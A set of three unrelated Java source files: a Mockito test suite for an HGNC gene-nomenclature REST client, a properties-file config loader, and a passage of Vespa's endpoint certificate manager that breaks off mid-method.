import org.mockito.internal.matchers.CapturingMatcher;
import net.sf.json.JSONArray;
import static org.mockito.Matchers.any;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.never;
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.when;
/**
* Tests for the {@link GeneNomenclature} component.
*
* @version $Id$
*/
public class GeneNomenclatureTest
{
@Rule
public MockitoComponentMockingRule<Vocabulary> mocker =
new MockitoComponentMockingRule<Vocabulary>(GeneNomenclature.class);
private ConfigurationSource configuration;
@Mock
private CloseableHttpClient client;
@Mock
private CloseableHttpResponse response;
@Mock
private HttpEntity responseEntity;
@Mock
private Cache<VocabularyTerm> cache;
@Mock
private VocabularyTerm term;
private VocabularyTerm emptyMarker;
@Before
public void setUp() throws ComponentLookupException, CacheException, NoSuchFieldException,
IllegalArgumentException, IllegalAccessException
{
MockitoAnnotations.initMocks(this);
when(this.mocker.<CacheManager>getInstance(CacheManager.class).<VocabularyTerm>createNewLocalCache(
any(CacheConfiguration.class))).thenReturn(this.cache);
this.configuration = this.mocker.getInstance(ConfigurationSource.class, "xwikiproperties");
when(this.configuration.getProperty("phenotips.ontologies.hgnc.serviceURL", "http://rest.genenames.org/"))
.thenReturn("http://rest.genenames.org/");
ReflectionUtils.setFieldValue(this.mocker.getComponentUnderTest(), "client", this.client);
Field em = ReflectionUtils.getField(GeneNomenclature.class, "EMPTY_MARKER");
em.setAccessible(true);
this.emptyMarker = (VocabularyTerm) em.get(null);
}
@Test
public void checkURLConfigurable() throws ComponentLookupException, URISyntaxException,
ClientProtocolException, IOException, InitializationException
{
when(this.configuration.getProperty("phenotips.ontologies.hgnc.serviceURL", "http://rest.genenames.org/"))
.thenReturn("https://proxy/genenames/");
URI expectedURI = new URI("https://proxy/genenames/fetch/symbol/BRCA1");
CapturingMatcher<HttpUriRequest> reqCapture = new CapturingMatcher<>();
when(this.client.execute(Matchers.argThat(reqCapture))).thenReturn(this.response);
when(this.response.getEntity()).thenReturn(this.responseEntity);
when(this.responseEntity.getContent()).thenReturn(ClassLoader.getSystemResourceAsStream("BRCA1.json"));
// Since the component was already initialized in setUp() with the default URL, re-initialize it
// with the new configuration mock
((Initializable) this.mocker.getComponentUnderTest()).initialize();
VocabularyTerm result = this.mocker.getComponentUnderTest().getTerm("BRCA1");
Assert.assertEquals(expectedURI, reqCapture.getLastValue().getURI());
Assert.assertEquals("application/json", reqCapture.getLastValue().getLastHeader("Accept").getValue());
Assert.assertNotNull(result);
Assert.assertEquals("BRCA1", result.get("symbol"));
Assert.assertEquals("breast cancer 1, early onset", result.getName());
JSONArray aliases = (JSONArray) result.get("alias_symbol");
Assert.assertArrayEquals(new String[] { "RNF53", "BRCC1", "PPP1R53" }, aliases.toArray());
verify(this.cache).set("BRCA1", result);
}
@Test
public void getTermFetchesFromRemoteServer() throws ComponentLookupException, URISyntaxException,
ClientProtocolException, IOException
{
URI expectedURI = new URI("http://rest.genenames.org/fetch/symbol/BRCA1");
CapturingMatcher<HttpUriRequest> reqCapture = new CapturingMatcher<>();
when(this.client.execute(Matchers.argThat(reqCapture))).thenReturn(this.response);
when(this.response.getEntity()).thenReturn(this.responseEntity);
when(this.responseEntity.getContent()).thenReturn(ClassLoader.getSystemResourceAsStream("BRCA1.json"));
VocabularyTerm result = this.mocker.getComponentUnderTest().getTerm("BRCA1");
Assert.assertEquals(expectedURI, reqCapture.getLastValue().getURI());
Assert.assertEquals("application/json", reqCapture.getLastValue().getLastHeader("Accept").getValue());
Assert.assertNotNull(result);
Assert.assertEquals("BRCA1", result.get("symbol"));
Assert.assertEquals("breast cancer 1, early onset", result.getName());
JSONArray aliases = (JSONArray) result.get("alias_symbol");
Assert.assertArrayEquals(new String[] { "RNF53", "BRCC1", "PPP1R53" }, aliases.toArray());
verify(this.cache).set("BRCA1", result);
}
@Test
public void getTermUsesCache() throws ComponentLookupException, URISyntaxException,
ClientProtocolException, IOException
{
when(this.cache.get("BRCA1")).thenReturn(this.term);
VocabularyTerm result = this.mocker.getComponentUnderTest().getTerm("BRCA1");
verify(this.client, never()).execute(any(HttpUriRequest.class));
Assert.assertSame(this.term, result);
}
@Test
public void getTermWithInvalidTermReturnsNull() throws ComponentLookupException, URISyntaxException,
ClientProtocolException, IOException
{
URI expectedURI = new URI("http://rest.genenames.org/fetch/symbol/NOTHING");
CapturingMatcher<HttpUriRequest> reqCapture = new CapturingMatcher<>();
when(this.client.execute(Matchers.argThat(reqCapture))).thenReturn(this.response);
when(this.response.getEntity()).thenReturn(this.responseEntity);
when(this.responseEntity.getContent()).thenReturn(ClassLoader.getSystemResourceAsStream("NOTHING.json"));
VocabularyTerm result = this.mocker.getComponentUnderTest().getTerm("NOTHING");
Assert.assertEquals(expectedURI, reqCapture.getLastValue().getURI());
Assert.assertEquals("application/json", reqCapture.getLastValue().getLastHeader("Accept").getValue());
Assert.assertNull(result);
verify(this.cache).set("NOTHING", this.emptyMarker);
}
@Test
public void getTermWithEmptyMarkerInCacheReturnsNull() throws ComponentLookupException, URISyntaxException,
ClientProtocolException, IOException
{
when(this.cache.get("NOTHING")).thenReturn(this.emptyMarker);
VocabularyTerm result = this.mocker.getComponentUnderTest().getTerm("NOTHING");
verify(this.client, never()).execute(any(HttpUriRequest.class));
Assert.assertNull(result);
}
@Test
public void getTermWithExceptionReturnsNull() throws ComponentLookupException, URISyntaxException,
ClientProtocolException, IOException
{
when(this.client.execute(any(HttpUriRequest.class))).thenThrow(new IOException());
VocabularyTerm result = this.mocker.getComponentUnderTest().getTerm("ERROR");
Assert.assertNull(result);
}
@Test
public void getTermsFetchesFromRemoteServer() throws ComponentLookupException, URISyntaxException,
ClientProtocolException, IOException
{
URI expectedURI1 = new URI("http://rest.genenames.org/fetch/symbol/BRCA1");
URI expectedURI2 = new URI("http://rest.genenames.org/fetch/symbol/NOTHING");
CapturingMatcher<HttpUriRequest> reqCapture = new CapturingMatcher<>();
when(this.client.execute(Matchers.argThat(reqCapture))).thenReturn(this.response);
when(this.response.getEntity()).thenReturn(this.responseEntity);
when(this.responseEntity.getContent()).thenReturn(ClassLoader.getSystemResourceAsStream("BRCA1.json"),
ClassLoader.getSystemResourceAsStream("NOTHING.json"));
Set<VocabularyTerm> result = this.mocker.getComponentUnderTest().getTerms(Arrays.asList("BRCA1", "NOTHING"));
List<HttpUriRequest> calledURIs = reqCapture.getAllValues();
Assert.assertEquals(expectedURI1, calledURIs.get(0).getURI());
Assert.assertEquals(expectedURI2, calledURIs.get(1).getURI());
Assert.assertEquals("application/json", reqCapture.getLastValue().getLastHeader("Accept").getValue());
Assert.assertEquals(1, result.size());
Assert.assertEquals("BRCA1", result.iterator().next().getId());
}
@Test
public void getStringDistanceIsFlat() throws ComponentLookupException
{
Assert.assertEquals(-1, this.mocker.getComponentUnderTest().getDistance("A", "B"));
Assert.assertEquals(-1, this.mocker.getComponentUnderTest().getDistance("A", "A"));
Assert.assertEquals(-1, this.mocker.getComponentUnderTest().getDistance("A", null));
Assert.assertEquals(-1, this.mocker.getComponentUnderTest().getDistance(null, "B"));
Assert.assertEquals(-1, this.mocker.getComponentUnderTest().getDistance((String) null, null));
}
@Test
public void getTermDistanceIsFlat() throws ComponentLookupException
{
Assert.assertEquals(-1, this.mocker.getComponentUnderTest().getDistance(this.term, this.term));
Assert.assertEquals(-1, this.mocker.getComponentUnderTest().getDistance(this.term, mock(VocabularyTerm.class)));
Assert.assertEquals(-1, this.mocker.getComponentUnderTest().getDistance(this.term, null));
Assert.assertEquals(-1, this.mocker.getComponentUnderTest().getDistance(null, this.term));
Assert.assertEquals(-1, this.mocker.getComponentUnderTest().getDistance((VocabularyTerm) null, null));
}
@Test
public void getSizeFetchesFromRemoteServer() throws ComponentLookupException, URISyntaxException,
ClientProtocolException, IOException
{
URI expectedURI = new URI("http://rest.genenames.org/info");
CapturingMatcher<HttpUriRequest> reqCapture = new CapturingMatcher<>();
when(this.client.execute(Matchers.argThat(reqCapture))).thenReturn(this.response);
when(this.response.getEntity()).thenReturn(this.responseEntity);
when(this.responseEntity.getContent()).thenReturn(ClassLoader.getSystemResourceAsStream("info.json"));
long result = this.mocker.getComponentUnderTest().size();
Assert.assertEquals(expectedURI, reqCapture.getLastValue().getURI());
Assert.assertEquals("application/json", reqCapture.getLastValue().getLastHeader("Accept").getValue());
Assert.assertEquals(40045, result);
}
@Test
public void getSizeWithErrorReturnsNegative1() throws ComponentLookupException, URISyntaxException,
ClientProtocolException, IOException
{
when(this.client.execute(any(HttpUriRequest.class))).thenThrow(new IOException());
long result = this.mocker.getComponentUnderTest().size();
Assert.assertEquals(-1, result);
}
@Test
public void getVersionFetchesFromRemoteServer() throws ComponentLookupException, URISyntaxException,
ClientProtocolException, IOException
{
URI expectedURI = new URI("http://rest.genenames.org/info");
CapturingMatcher<HttpUriRequest> reqCapture = new CapturingMatcher<>();
when(this.client.execute(Matchers.argThat(reqCapture))).thenReturn(this.response);
when(this.response.getEntity()).thenReturn(this.responseEntity);
when(this.responseEntity.getContent()).thenReturn(ClassLoader.getSystemResourceAsStream("info.json"));
String result = this.mocker.getComponentUnderTest().getVersion();
Assert.assertEquals(expectedURI, reqCapture.getLastValue().getURI());
Assert.assertEquals("application/json", reqCapture.getLastValue().getLastHeader("Accept").getValue());
Assert.assertEquals("2014-09-01T04:42:14.649Z", result);
}
@Test
public void getVersionWithErrorReturnsEmptyString() throws ComponentLookupException, URISyntaxException,
ClientProtocolException, IOException
{
when(this.client.execute(any(HttpUriRequest.class))).thenThrow(new IOException());
String result = this.mocker.getComponentUnderTest().getVersion();
Assert.assertEquals("", result);
}
@Test
public void reindexInvalidatesCache() throws ComponentLookupException
{
Assert.assertEquals(0, this.mocker.getComponentUnderTest().reindex(null));
Mockito.verify(this.cache).removeAll();
Mockito.verifyNoMoreInteractions(this.client);
}
@Test
public void checkReturnedTermsBehavior() throws ComponentLookupException, URISyntaxException,
ClientProtocolException, IOException
{
when(this.client.execute(any(HttpUriRequest.class))).thenReturn(this.response);
when(this.response.getEntity()).thenReturn(this.responseEntity);
when(this.responseEntity.getContent()).thenReturn(ClassLoader.getSystemResourceAsStream("BRCA1.json"));
VocabularyTerm result = this.mocker.getComponentUnderTest().getTerm("BRCA1");
Assert.assertEquals("BRCA1", result.get("symbol"));
Assert.assertEquals("breast cancer 1, early onset", result.getName());
Assert.assertEquals("", result.getDescription());
Assert.assertEquals(-1, result.getDistanceTo(null));
Assert.assertEquals(-1, result.getDistanceTo(result));
Assert.assertEquals(-1, result.getDistanceTo(mock(VocabularyTerm.class)));
Assert.assertEquals(this.mocker.getComponentUnderTest(), result.getVocabulary());
Assert.assertTrue(result.getParents().isEmpty());
Assert.assertTrue(result.getAncestors().isEmpty());
Assert.assertEquals(1, result.getAncestorsAndSelf().size());
Assert.assertTrue(result.getAncestorsAndSelf().contains(result));
Assert.assertEquals("BRCA1", result.getId());
Assert.assertEquals("HGNC:BRCA1", result.toString());
}
@Test
public void searchFetchesFromRemoteServer() throws ComponentLookupException, URISyntaxException,
ClientProtocolException, IOException
{
URI expectedURI = new URI("http://rest.genenames.org/search/"
+ "+status%3A%28Approved%29+AND+%28+symbol%3A%28brcA*%29+alias_symbol%3A%28brcA*%29%29");
CapturingMatcher<HttpUriRequest> reqCapture = new CapturingMatcher<>();
when(this.client.execute(Matchers.argThat(reqCapture))).thenReturn(this.response);
when(this.response.getEntity()).thenReturn(this.responseEntity);
when(this.responseEntity.getContent()).thenReturn(ClassLoader.getSystemResourceAsStream("brca.json"));
Map<String, Object> search = new LinkedHashMap<>();
search.put("status", "Approved");
Map<String, String> subquery = new LinkedHashMap<>();
subquery.put("symbol", "brcA*");
subquery.put("alias_symbol", "brcA*");
search.put("AND", subquery);
Map<String, String> queryOptions = new LinkedHashMap<>();
queryOptions.put("start", "3");
queryOptions.put("rows", "2");
List<VocabularyTerm> result = this.mocker.getComponentUnderTest().search(search, queryOptions);
Assert.assertEquals(expectedURI, reqCapture.getLastValue().getURI());
Assert.assertEquals("application/json", reqCapture.getLastValue().getLastHeader("Accept").getValue());
Assert.assertEquals(2, result.size());
Iterator<VocabularyTerm> terms = result.iterator();
Assert.assertEquals("BRCA1", terms.next().getId());
Assert.assertEquals("BRCA1P1", terms.next().getId());
}
@Test
public void searchWithErrorReturnsEmptySet() throws ComponentLookupException, URISyntaxException,
ClientProtocolException, IOException
{
when(this.client.execute(any(HttpUriRequest.class))).thenThrow(new IOException());
List<VocabularyTerm> result = this.mocker.getComponentUnderTest().search(new HashMap<String, Object>());
Assert.assertTrue(result.isEmpty());
}
@Test
public void searchIgnoresBadOptions() throws ComponentLookupException, URISyntaxException,
ClientProtocolException, IOException
{
when(this.client.execute(any(HttpUriRequest.class))).thenReturn(this.response);
when(this.response.getEntity()).thenReturn(this.responseEntity);
when(this.responseEntity.getContent()).thenReturn(ClassLoader.getSystemResourceAsStream("brca.json"));
this.responseEntity.getContent().mark(5000);
Map<String, Object> search = new LinkedHashMap<>();
search.put("status", "Approved");
Map<String, String> queryOptions = new LinkedHashMap<>();
queryOptions.put("start", "three");
queryOptions.put("rows", "");
Assert.assertEquals(6, this.mocker.getComponentUnderTest().search(search, queryOptions).size());
this.responseEntity.getContent().reset();
queryOptions.put("start", "2");
queryOptions.put("rows", "100");
Assert.assertEquals(4, this.mocker.getComponentUnderTest().search(search, queryOptions).size());
this.responseEntity.getContent().reset();
queryOptions.put("start", "-2");
queryOptions.put("rows", "-3");
Assert.assertEquals(6, this.mocker.getComponentUnderTest().search(search, queryOptions).size());
}
@Test
public void countFetchesFromRemoteServer() throws ComponentLookupException, URISyntaxException,
ClientProtocolException, IOException
{
URI expectedURI = new URI("http://rest.genenames.org/search/"
+ "+status%3A%28Approved%29+AND+%28+symbol%3A%28brcA*%29+alias_symbol%3A%28brcA*%29%29");
CapturingMatcher<HttpUriRequest> reqCapture = new CapturingMatcher<>();
when(this.client.execute(Matchers.argThat(reqCapture))).thenReturn(this.response);
when(this.response.getEntity()).thenReturn(this.responseEntity);
when(this.responseEntity.getContent()).thenReturn(ClassLoader.getSystemResourceAsStream("brca.json"));
Map<String, Object> search = new LinkedHashMap<>();
search.put("status", "Approved");
Map<String, String> subquery = new LinkedHashMap<>();
subquery.put("symbol", "brcA*");
subquery.put("alias_symbol", "brcA*");
search.put("AND", subquery);
long result = this.mocker.getComponentUnderTest().count(search);
Assert.assertEquals(expectedURI, reqCapture.getLastValue().getURI());
Assert.assertEquals("application/json", reqCapture.getLastValue().getLastHeader("Accept").getValue());
Assert.assertEquals(6, result);
}
@Test
public void countWithExceptionReturnsZero() throws ComponentLookupException, URISyntaxException,
ClientProtocolException, IOException
{
when(this.client.execute(any(HttpUriRequest.class))).thenThrow(new IOException());
long result = this.mocker.getComponentUnderTest().count(new HashMap<String, Object>());
Assert.assertEquals(0, result);
}
@Test
public void testQueryBuilder() throws URISyntaxException, ClientProtocolException, IOException,
ComponentLookupException
{
URI expectedURI = new URI("http://rest.genenames.org/search/+status%3A%28Approved%29"
+ "+AND+locus_type%3A%28RNA%2C%5C+cluster+RNA%2C%5C+micro*+%29"
+ "+%28+symbol%3A%28br%5C%3AcA*%29+alias_symbol%3A%28br%5C%5EcA*%29%29"
+ "+AND+%28+locus_group%3A%28non%5C-coding%5C+RNA%29%29+-%28+symbol%3A%28M*%29%29");
CapturingMatcher<HttpUriRequest> reqCapture = new CapturingMatcher<>();
when(this.client.execute(Matchers.argThat(reqCapture))).thenReturn(this.response);
when(this.response.getEntity()).thenReturn(this.responseEntity);
when(this.responseEntity.getContent()).thenReturn(ClassLoader.getSystemResourceAsStream("NOTHING.json"));
Map<String, Object> search = new LinkedHashMap<>();
search.put("status", "Approved");
search.put("locus_type", Arrays.asList("RNA, cluster", "RNA, micro*"));
search.put("hgnc_id", Collections.emptyList());
Map<String, String> subquery = new LinkedHashMap<>();
subquery.put("symbol", "br:cA*");
subquery.put("alias_symbol", "br^cA*");
search.put("OR", subquery);
subquery = new LinkedHashMap<>();
subquery.put("locus_group", "non-coding RNA");
search.put("AND", subquery);
subquery = new LinkedHashMap<>();
subquery.put("symbol", "M*");
search.put("NOT", subquery);
subquery = new LinkedHashMap<>();
subquery.put("what", "where");
search.put("DISCARD", subquery);
this.mocker.getComponentUnderTest().search(search);
Assert.assertEquals(expectedURI, reqCapture.getLastValue().getURI());
Assert.assertEquals("application/json", reqCapture.getLastValue().getLastHeader("Accept").getValue());
}
@Test
public void getAliases() throws ComponentLookupException
{
Set<String> aliases = this.mocker.getComponentUnderTest().getAliases();
Assert.assertTrue(aliases.contains("hgnc"));
Assert.assertTrue(aliases.contains("HGNC"));
}
@Test
public void getDefaultOntologyLocation() throws ComponentLookupException
{
String location = this.mocker.getComponentUnderTest().getDefaultSourceLocation();
Assert.assertEquals("http://rest.genenames.org/", location);
}
@Test
public void invalidResponseReturnsEmptySearch() throws ComponentLookupException, ClientProtocolException,
IOException
{
when(this.client.execute(any(HttpUriRequest.class))).thenReturn(this.response);
when(this.response.getEntity()).thenReturn(this.responseEntity);
when(this.responseEntity.getContent()).thenReturn(ClassLoader.getSystemResourceAsStream(""));
Map<String, Object> search = new LinkedHashMap<>();
search.put("status", "Approved");
Map<String, String> queryOptions = new LinkedHashMap<>();
queryOptions.put("start", "three");
queryOptions.put("rows", "");
Assert.assertTrue(this.mocker.getComponentUnderTest().search(search, queryOptions).isEmpty());
}
@Test
public void invalidOrEmptyResponseReturnsNoInfo() throws ComponentLookupException, ClientProtocolException,
IOException
{
when(this.client.execute(any(HttpUriRequest.class))).thenReturn(this.response);
when(this.response.getEntity()).thenReturn(this.responseEntity);
when(this.responseEntity.getContent()).thenReturn(ClassLoader.getSystemResourceAsStream(""));
Assert.assertEquals("", this.mocker.getComponentUnderTest().getVersion());
}
}
|
package config;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Enumeration;
import java.util.Properties;
/**
* Extract configuration/properties from conf.properties
*/
public class ConfigExtractor {
private static final Logger logger = LoggerFactory.getLogger(ConfigExtractor.class);
private static Properties configProp;
private static ConfigExtractor configInstance = null;
/**
* Use the config file from /etc,
* if there is non then use the standard config file
*/
private ConfigExtractor() {
String configFile = "../etc/conf.properties";
String configFileFallback = "/conf.properties";
File conf = new File(configFile);
InputStream in = getClass().getResourceAsStream(configFileFallback);
configProp = new Properties();
try {
if (conf.exists() && conf.isFile()) {
configProp.load(new FileInputStream(configFile));
}
else {
configProp.load(in);
}
} catch (IOException e) {
logger.error(e.getMessage(), e);
}
}
/**
* Read a property value from the config file
*
* @param property we want to find value for
* @return value of property
*/
public static String getProperty(String property) {
if (configInstance == null) {
configInstance = new ConfigExtractor();
}
return configProp.getProperty(property);
}
/**
* Retrieve a enumeration with all properties.
* @return properties
*/
public static Enumeration<String> getPropertyList() {
if (configInstance == null) {
configInstance = new ConfigExtractor();
}
return (Enumeration<String>)configProp.propertyNames();
}
}
|
package com.yahoo.vespa.hosted.controller.certificate;
import com.google.common.collect.Sets;
import com.google.common.hash.Hashing;
import com.google.common.io.BaseEncoding;
import com.yahoo.config.provision.ApplicationId;
import com.yahoo.config.provision.ClusterSpec;
import com.yahoo.config.provision.SystemName;
import com.yahoo.config.provision.zone.RoutingMethod;
import com.yahoo.config.provision.zone.ZoneApi;
import com.yahoo.config.provision.zone.ZoneId;
import com.yahoo.container.jdisc.secretstore.SecretNotFoundException;
import com.yahoo.container.jdisc.secretstore.SecretStore;
import com.yahoo.log.LogLevel;
import com.yahoo.security.SubjectAlternativeName;
import com.yahoo.security.X509CertificateUtils;
import com.yahoo.vespa.flags.BooleanFlag;
import com.yahoo.vespa.flags.FetchVector;
import com.yahoo.vespa.flags.FlagSource;
import com.yahoo.vespa.flags.Flags;
import com.yahoo.vespa.flags.StringFlag;
import com.yahoo.vespa.hosted.controller.Instance;
import com.yahoo.vespa.hosted.controller.api.integration.certificates.EndpointCertificateProvider;
import com.yahoo.vespa.hosted.controller.api.integration.certificates.EndpointCertificateMetadata;
import com.yahoo.vespa.hosted.controller.api.integration.zone.ZoneRegistry;
import com.yahoo.vespa.hosted.controller.application.Endpoint;
import com.yahoo.vespa.hosted.controller.application.EndpointId;
import com.yahoo.vespa.hosted.controller.persistence.CuratorDb;
import java.nio.charset.Charset;
import java.security.cert.X509Certificate;
import java.time.Clock;
import java.time.Instant;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Optional;
import java.util.OptionalInt;
import java.util.Set;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
import java.util.logging.Logger;
import java.util.stream.Collectors;
import java.util.stream.Stream;
/**
* Looks up stored endpoint certificate metadata, provisions new certificates if none is found,
* re-provisions if zone is not covered, and uses refreshed certificates if a newer version is available.
*
* @author andreer
*/
public class EndpointCertificateManager {
private static final Logger log = Logger.getLogger(EndpointCertificateManager.class.getName());
private final ZoneRegistry zoneRegistry;
private final CuratorDb curator;
private final SecretStore secretStore;
private final EndpointCertificateProvider endpointCertificateProvider;
private final Clock clock;
private final BooleanFlag useRefreshedEndpointCertificate;
private final BooleanFlag validateEndpointCertificates;
private final StringFlag endpointCertificateBackfill;
private final BooleanFlag endpointCertInSharedRouting;
public EndpointCertificateManager(ZoneRegistry zoneRegistry,
CuratorDb curator,
SecretStore secretStore,
EndpointCertificateProvider endpointCertificateProvider,
Clock clock, FlagSource flagSource) {
this.zoneRegistry = zoneRegistry;
this.curator = curator;
this.secretStore = secretStore;
this.endpointCertificateProvider = endpointCertificateProvider;
this.clock = clock;
this.useRefreshedEndpointCertificate = Flags.USE_REFRESHED_ENDPOINT_CERTIFICATE.bindTo(flagSource);
this.validateEndpointCertificates = Flags.VALIDATE_ENDPOINT_CERTIFICATES.bindTo(flagSource);
this.endpointCertificateBackfill = Flags.ENDPOINT_CERTIFICATE_BACKFILL.bindTo(flagSource);
this.endpointCertInSharedRouting = Flags.ENDPOINT_CERT_IN_SHARED_ROUTING.bindTo(flagSource);
Executors.newSingleThreadScheduledExecutor().scheduleAtFixedRate(() -> {
try {
this.backfillCertificateMetadata();
} catch (Throwable t) {
log.log(LogLevel.INFO, "Unexpected Throwable caught while backfilling certificate metadata", t);
}
}, 1, 10, TimeUnit.MINUTES);
}
public Optional<EndpointCertificateMetadata> getEndpointCertificateMetadata(Instance instance, ZoneId zone) {
boolean endpointCertInSharedRouting = this.endpointCertInSharedRouting.with(FetchVector.Dimension.APPLICATION_ID, instance.id().serializedForm()).value();
if (!zoneRegistry.zones().directlyRouted().ids().contains(zone) && !endpointCertInSharedRouting)
return Optional.empty();
final var currentCertificateMetadata = curator.readEndpointCertificateMetadata(instance.id());
if (currentCertificateMetadata.isEmpty()) {
var provisionedCertificateMetadata = provisionEndpointCertificate(instance, Optional.empty());
// We do not verify the certificate if one has never existed before - because we do not want to
// wait for it to be available before we deploy. This allows the config server to start
// provisioning nodes ASAP, and the risk is small for a new deployment.
curator.writeEndpointCertificateMetadata(instance.id(), provisionedCertificateMetadata);
return Optional.of(provisionedCertificateMetadata);
}
// Reprovision certificate if it is missing SANs for the zone we are deploying to
var sansInCertificate = currentCertificateMetadata.get().requestedDnsSans();
var requiredSansForZone = dnsNamesOf(instance.id(), List.of(zone));
if (sansInCertificate.isPresent() && !sansInCertificate.get().containsAll(requiredSansForZone)) {
var reprovisionedCertificateMetadata = provisionEndpointCertificate(instance, currentCertificateMetadata);
curator.writeEndpointCertificateMetadata(instance.id(), reprovisionedCertificateMetadata);
// Verification is unlikely to succeed in this case, as certificate must be available first - controller will retry
validateEndpointCertificate(reprovisionedCertificateMetadata, instance, zone);
return Optional.of(reprovisionedCertificateMetadata);
}
// If feature flag set for application, look for and use refreshed certificate
if (useRefreshedEndpointCertificate.with(FetchVector.Dimension.APPLICATION_ID, instance.id().serializedForm()).value()) {
var latestAvailableVersion = latestVersionInSecretStore(currentCertificateMetadata.get());
if (latestAvailableVersion.isPresent() && latestAvailableVersion.getAsInt() > currentCertificateMetadata.get().version()) {
var refreshedCertificateMetadata = currentCertificateMetadata.get().withVersion(latestAvailableVersion.getAsInt());
validateEndpointCertificate(refreshedCertificateMetadata, instance, zone);
curator.writeEndpointCertificateMetadata(instance.id(), refreshedCertificateMetadata);
return Optional.of(refreshedCertificateMetadata);
}
}
validateEndpointCertificate(currentCertificateMetadata.get(), instance, zone);
return currentCertificateMetadata;
}
enum BackfillMode {
DISABLE,
DRYRUN,
ENABLE
}
private void backfillCertificateMetadata() {
BackfillMode mode = BackfillMode.valueOf(endpointCertificateBackfill.value());
if (mode == BackfillMode.DISABLE) return;
List<EndpointCertificateMetadata> allProviderCertificateMetadata = endpointCertificateProvider.listCertificates();
Map<String, EndpointCertificateMetadata> sanToEndpointCertificate = new HashMap<>();
allProviderCertificateMetadata.forEach((providerMetadata -> {
if (providerMetadata.request_id().isEmpty())
throw new RuntimeException("Backfill failed - provider metadata missing request_id");
if (providerMetadata.requestedDnsSans().isEmpty())
throw new RuntimeException("Backfill failed - provider metadata missing DNS SANs for " + providerMetadata.request_id().get());
providerMetadata.requestedDnsSans().get().forEach(san -> sanToEndpointCertificate.put(san, providerMetadata)
);
}));
Map<ApplicationId, EndpointCertificateMetadata> allEndpointCertificateMetadata = curator.readAllEndpointCertificateMetadata();
allEndpointCertificateMetadata.forEach((applicationId, storedMetaData) -> {
if (storedMetaData.requestedDnsSans().isPresent() && storedMetaData.request_id().isPresent())
return;
var hashedCn = commonNameHashOf(applicationId, zoneRegistry.system()); // use as join key
EndpointCertificateMetadata providerMetadata = sanToEndpointCertificate.get(hashedCn);
if (providerMetadata == null) {
log.log(LogLevel.INFO, "No matching certificate provider metadata found for application " + applicationId.serializedForm());
return;
}
EndpointCertificateMetadata backfilledMetadata =
new EndpointCertificateMetadata(
storedMetaData.keyName(),
storedMetaData.certName(),
storedMetaData.version(),
providerMetadata.request_id(),
providerMetadata.requestedDnsSans(),
providerMetadata.issuer());
if (mode == BackfillMode.DRYRUN) {
log.log(LogLevel.INFO, "Would update stored metadata " + storedMetaData + " with data from provider: " + backfilledMetadata);
} else if (mode == BackfillMode.ENABLE) {
curator.writeEndpointCertificateMetadata(applicationId, backfilledMetadata);
}
});
}
private OptionalInt latestVersionInSecretStore(EndpointCertificateMetadata originalCertificateMetadata) {
var certVersions = new HashSet<>(secretStore.listSecretVersions(originalCertificateMetadata.certName()));
var keyVersions = new HashSet<>(secretStore.listSecretVersions(originalCertificateMetadata.keyName()));
return Sets.intersection(certVersions, keyVersions).stream().mapToInt(Integer::intValue).max();
}
private EndpointCertificateMetadata provisionEndpointCertificate(Instance instance, Optional<EndpointCertificateMetadata> currentMetadata) {
List<ZoneId> zones = zoneRegistry.zones().controllerUpgraded().zones().stream().map(ZoneApi::getId).collect(Collectors.toUnmodifiableList());
return endpointCertificateProvider.requestCaSignedCertificate(instance.id(), dnsNamesOf(instance.id(), zones), currentMetadata);
}
private void validateEndpointCertificate(EndpointCertificateMetadata endpointCertificateMetadata, Instance instance, ZoneId zone) {
if (validateEndpointCertificates.value())
try {
var pemEncodedEndpointCertificate = secretStore.getSecret(endpointCertificateMetadata.certName(), endpointCertificateMetadata.version());
if (pemEncodedEndpointCertificate == null)
throw new EndpointCertificateException(EndpointCertificateException.Type.VERIFICATION_FAILURE, "Secret store returned null for certificate");
List<X509Certificate> x509CertificateList = X509CertificateUtils.certificateListFromPem(pemEncodedEndpointCertificate);
if (x509CertificateList.isEmpty())
throw new EndpointCertificateException(EndpointCertificateException.Type.VERIFICATION_FAILURE, "Empty certificate list");
if (x509CertificateList.size() < 2)
throw new EndpointCertificateException(EndpointCertificateException.Type.VERIFICATION_FAILURE, "Only a single certificate found in chain - intermediate certificates likely missing");
Instant now = clock.instant();
Instant firstExpiry = Instant.MAX;
for (X509Certificate x509Certificate : x509CertificateList) {
Instant notBefore = x509Certificate.getNotBefore().toInstant();
Instant notAfter = x509Certificate.getNotAfter().toInstant();
if (now.isBefore(notBefore))
throw new EndpointCertificateException(EndpointCertificateException.Type.VERIFICATION_FAILURE, "Certificate is not yet valid");
if (now.isAfter(notAfter))
throw new EndpointCertificateException(EndpointCertificateException.Type.VERIFICATION_FAILURE, "Certificate has expired");
if (notAfter.isBefore(firstExpiry)) firstExpiry = notAfter;
}
X509Certificate endEntityCertificate = x509CertificateList.get(0);
Set<String> subjectAlternativeNames = X509CertificateUtils.getSubjectAlternativeNames(endEntityCertificate).stream()
.filter(san -> san.getType().equals(SubjectAlternativeName.Type.DNS_NAME))
.map(SubjectAlternativeName::getValue).collect(Collectors.toSet());
var dnsNamesOfZone = dnsNamesOf(instance.id(), List.of(zone));
if (!subjectAlternativeNames.containsAll(dnsNamesOfZone))
throw new EndpointCertificateException(EndpointCertificateException.Type.VERIFICATION_FAILURE, "Certificate is missing required SANs for zone " + zone.value());
} catch (SecretNotFoundException s) {
// Normally because the cert is in the process of being provisioned - this will cause a retry in InternalStepRunner
throw new EndpointCertificateException(EndpointCertificateException.Type.CERT_NOT_AVAILABLE, "Certificate not found in secret store");
} catch (EndpointCertificateException e) {
log.log(LogLevel.WARNING, "Certificate validation failure for " + instance.id().serializedForm(), e);
throw e;
} catch (Exception e) {
log.log(LogLevel.WARNING, "Certificate validation failure for " + instance.id().serializedForm(), e);
throw new EndpointCertificateException(EndpointCertificateException.Type.VERIFICATION_FAILURE, "Certificate validation failure for app " + instance.id().serializedForm(), e);
}
}
private List<String> dnsNamesOf(ApplicationId applicationId, List<ZoneId> zones) {
List<String> endpointDnsNames = new ArrayList<>();
// We add first an endpoint name based on a hash of the applicationId,
// as the certificate provider requires the first CN to be < 64 characters long.
